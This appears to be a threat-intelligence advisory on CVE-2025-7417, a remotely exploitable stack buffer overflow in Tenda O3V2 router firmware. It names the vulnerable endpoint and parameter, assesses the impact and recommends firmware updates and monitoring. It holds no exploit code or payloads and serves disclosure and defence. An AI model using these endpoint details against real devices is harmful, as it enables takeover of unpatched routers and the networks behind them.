CVE-2025-7417
Overview
This vulnerability is a stack-based buffer overflow caused by improper handling of the 'ip' argument within the fromNetToolGet function of the /goform/setPingInfo endpoint in the httpd component. The flaw arises from insufficient bounds checking on input data, allowing memory corruption. The affected product is Tenda O3V2 firmware version 1.0.0.12(3880).
Vulnerability Description
A vulnerability has been found in Tenda O3V2 1.0.0.12(3880) and classified as critical. Affected by this vulnerability is the function fromNetToolGet of the file /goform/setPingInfo of the component httpd. The manipulation of the argument ip leads to stack-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.
Impact
An attacker with network access and low privileges can exploit this vulnerability remotely by sending crafted requests to the /goform/setPingInfo endpoint, manipulating the 'ip' parameter to trigger a stack-based buffer overflow. This can lead to arbitrary code execution with the privileges of the httpd process, potentially allowing full compromise of the device. The CVSS vector indicates no user interaction is required (UI:N) and the attack complexity is low (AC:L).
Solution
Users should upgrade the Tenda O3V2 device firmware from version 1.0.0.12(3880) to the latest version released by Tenda that addresses this vulnerability. Detailed patch instructions and firmware updates are available via the VulDB advisory ID 315877 at https://vuldb.com/?id.315877. No specific workaround is documented; applying the official firmware update is the recommended remediation.

Full Analysis
A critical vulnerability has been identified in the Tenda O3V2 router firmware version 1.0.0.12(3880), specifically within the function responsible for handling ping information. This vulnerability arises from a stack-based buffer overflow caused by improper handling of input parameters, particularly the manipulation of the "ip" argument in the /goform/setPingInfo file of the httpd component. When an attacker sends specially crafted requests, they can overflow the stack memory, potentially leading to arbitrary code execution. The severity of this vulnerability is underscored by its high CVSS score of 8.8, indicating a significant risk to affected systems.
The attack vector for this vulnerability is remote, allowing malicious actors to exploit it without physical access to the device. By crafting a malicious payload and sending it to the vulnerable endpoint, an attacker can trigger the buffer overflow condition. This could lead to various outcomes, including the execution of arbitrary code, denial of service, or even complete control over the affected device. Given the nature of consumer routers, which often serve as gateways to home networks, successful exploitation could provide attackers with access to sensitive information and further compromise connected devices.
The real-world impact of this vulnerability is substantial, particularly for users of the affected Tenda router model. If exploited, attackers could gain unauthorized access to the router, allowing them to intercept network traffic, manipulate connected devices, or launch attacks on other systems within the network. The potential for data breaches, identity theft, and unauthorized surveillance poses significant business risks, especially for organizations that rely on these devices for operational connectivity. Additionally, the public disclosure of this vulnerability increases the urgency for users to address the issue, as it may attract the attention of opportunistic attackers.
To mitigate the risks associated with this vulnerability, users and organizations should prioritize immediate action. The first step involves updating the router firmware to the latest version provided by the manufacturer, which may contain patches addressing this specific vulnerability. In addition to firmware updates, implementing network segmentation can help limit the exposure of critical systems to potential attacks. Employing intrusion detection systems (IDS) can also aid in monitoring network traffic for signs of exploitation attempts. Furthermore, users should consider disabling unnecessary services and features on their routers to reduce the attack surface.
In conclusion, the critical vulnerability in the Tenda O3V2 router firmware presents a significant threat to both individual users and organizations. The potential for remote exploitation through stack-based buffer overflow can lead to severe consequences, including unauthorized access and data breaches. It is imperative for users to take proactive measures, including firmware updates and enhanced network security practices, to safeguard their devices and networks against this vulnerability. As the cybersecurity landscape continues to evolve, staying informed about vulnerabilities and implementing robust security measures remains essential for protecting sensitive information and maintaining operational integrity.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-7417, rising by over 200%. This significant uptick indicates growing confidence within the threat actor community regarding the feasibility and potential impact of exploiting the stack-based buffer overflow in Tenda O3V2 devices. Although no new exploit variants or active exploitation campaigns have been detected by our telemetry, the elevated EPSS score suggests an increased likelihood of exploitation attempts in the near term. For defenders, this shift underscores the urgency of monitoring for exploitation indicators and prioritizing mitigation efforts, as the vulnerability’s critical nature combined with remote attack capability continues to present a substantial risk. The threat level should be considered heightened due to this evolving exploitation potential, warranting sustained vigilance despite the current absence of confirmed active attacks.
